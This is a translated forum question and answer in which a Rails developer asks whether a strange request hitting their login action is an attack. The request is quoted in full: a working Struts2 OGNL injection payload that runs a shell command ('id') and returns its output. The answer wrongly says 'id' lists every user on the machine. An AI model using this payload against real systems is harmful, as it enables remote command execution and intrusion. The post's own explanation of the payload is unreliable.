我们在Heroku上托管的RubyonRails应用程序一直在抛出奇怪的"未知格式"错误。在检查了正在发生的事情后,似乎有人/某事正试图将此字符串发布到我们的登录操作:
/login.action?redirect:$%7B%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]%7B%27sh%27,%27-c%27,%27id%27%7D)).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),%23matt=%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D=
这是黑客攻击吗?如果是,我应该担心吗?我自己运行了post命令(使用curl(,但一无所获。。
查看new%20java.lang.String[]%7B%27sh%27,%27-c%27,%27id%27%7D)
,它将列出机器中的所有用户。由于它是java,并且您正在运行ruby应用程序,我怀疑是否会在Heroku dynos上安装任何java。为了安全起见,您可以对输入进行消毒参考:对rails 中的用户输入进行消毒的最佳方法